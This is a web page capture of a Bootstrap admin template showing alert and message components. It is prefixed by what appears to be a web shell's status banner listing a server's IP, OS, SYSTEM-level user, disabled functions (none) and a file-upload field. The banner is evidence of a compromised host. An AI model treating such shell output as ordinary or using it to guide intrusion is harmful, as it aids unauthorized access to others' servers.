| Server IP : 172.67.187.206 / Your IP : 172.71.28.156 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /Inetpub/www/news/datacenter/admin/template-pages/ |
Upload File : |
<div class="row">
<div class="col-xl-12">
<div class="breadcrumb-holder">
<h1 class="main-title float-left">Alerts and Messages</h1>
<ol class="breadcrumb float-right">
<li class="breadcrumb-item">Home</li>
<li class="breadcrumb-item active">Alerts</li>
</ol>
<div class="clearfix"></div>
</div>
</div>
</div>
<!-- end row -->
<div class="row">
<div class="col-xs-12 col-sm-12 col-md-6 col-lg-6 col-xl-6">
<div class="card mb-3">
<div class="card-header">
<h3><i class="fa fa-bell-o"></i> Alerts examples</h3>
Alerts are available for any length of text, as well as an optional dismiss button. For proper styling, use one of the eight required contextual classes (e.g., <i>.alert-success</i>). <a target="_blank" href="https://getbootstrap.com/docs/4.0/components/alerts/">(more details)</a>
</div>
<div class="card-body">
<div class="alert alert-primary" role="alert">
This is a primary alert—check it out!
</div>
<div class="alert alert-secondary" role="alert">
This is a secondary alert—check it out!
</div>
<div class="alert alert-success" role="alert">
This is a success alert—check it out!
</div>
<div class="alert alert-danger" role="alert">
This is a danger alert—check it out!
</div>
<div class="alert alert-warning" role="alert">
This is a warning alert—check it out!
</div>
<div class="alert alert-info" role="alert">
This is a info alert—check it out!
</div>
<div class="alert alert-light" role="alert">
This is a light alert—check it out!
</div>
<div class="alert alert-dark" role="alert">
This is a dark alert—check it out!
</div>
</div>
</div><!-- end card-->
</div>
<div class="col-xs-12 col-sm-12 col-md-6 col-lg-6 col-xl-6">
<div class="card mb-3">
<div class="card-header">
<h3><i class="fa fa-bell-o"></i> Alerts witk links</h3>
Use the <i>.alert-link</i> utility class to quickly provide matching colored links within any alert. (<a target="_blank" href="https://getbootstrap.com/docs/4.0/components/alerts/#link-color">more info</a>)
</div>
<div class="card-body">
<div class="alert alert-primary" role="alert">
This is a primary alert with <a href="#" class="alert-link">an example link</a>. Give it a click if you like.
</div>
<div class="alert alert-secondary" role="alert">
This is a secondary alert with <a href="#" class="alert-link">an example link</a>. Give it a click if you like.
</div>
<div class="alert alert-success" role="alert">
This is a success alert with <a href="#" class="alert-link">an example link</a>. Give it a click if you like.
</div>
<div class="alert alert-danger" role="alert">
This is a danger alert with <a href="#" class="alert-link">an example link</a>. Give it a click if you like.
</div>
<div class="alert alert-warning" role="alert">
This is a warning alert with <a href="#" class="alert-link">an example link</a>. Give it a click if you like.
</div>
<div class="alert alert-info" role="alert">
This is a info alert with <a href="#" class="alert-link">an example link</a>. Give it a click if you like.
</div>
<div class="alert alert-light" role="alert">
This is a light alert with <a href="#" class="alert-link">an example link</a>. Give it a click if you like.
</div>
<div class="alert alert-dark" role="alert">
This is a dark alert with <a href="#" class="alert-link">an example link</a>. Give it a click if you like.
</div>
</div>
</div><!-- end card-->
</div>
</div>
<div class="row">
<div class="col-xs-12 col-sm-12 col-md-6 col-lg-6 col-xl-6">
<div class="card mb-3">
<div class="card-header">
<h3><i class="fa fa-bell-o"></i> Aditional content</h3>
Alerts can also contain additional HTML elements like headings, paragraphs and dividers. <a target="_blank" href="https://getbootstrap.com/docs/4.0/components/alerts/#additional-content">(more info)</a>
</div>
<div class="card-body">
<div class="alert alert-success" role="alert">
<h4 class="alert-heading">Well done!</h4>
<p>Aww yeah, you successfully read this important alert message. This example text is going to run a bit longer so that you can see how spacing within an alert works with this kind of content.</p>
<hr>
<p class="mb-0">Whenever you need to, be sure to use margin utilities to keep things nice and tidy.</p>
</div>
</div>
</div><!-- end card-->
</div>
<div class="col-xs-12 col-sm-12 col-md-6 col-lg-6 col-xl-6">
<div class="card mb-3">
<div class="card-header">
<h3><i class="fa fa-bell-o"></i> Dismissing</h3>
Using the alert JavaScript plugin, it’s possible to dismiss any alert inline. <a target="_blank" href="https://getbootstrap.com/docs/4.0/components/alerts/#dismissing">(more info)</a>
</div>
<div class="card-body">
<div class="alert alert-warning alert-dismissible fade show" role="alert">
<strong>Holy guacamole!</strong> You should check in on some of those fields below.
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
</div>
</div><!-- end card-->
</div>
</div>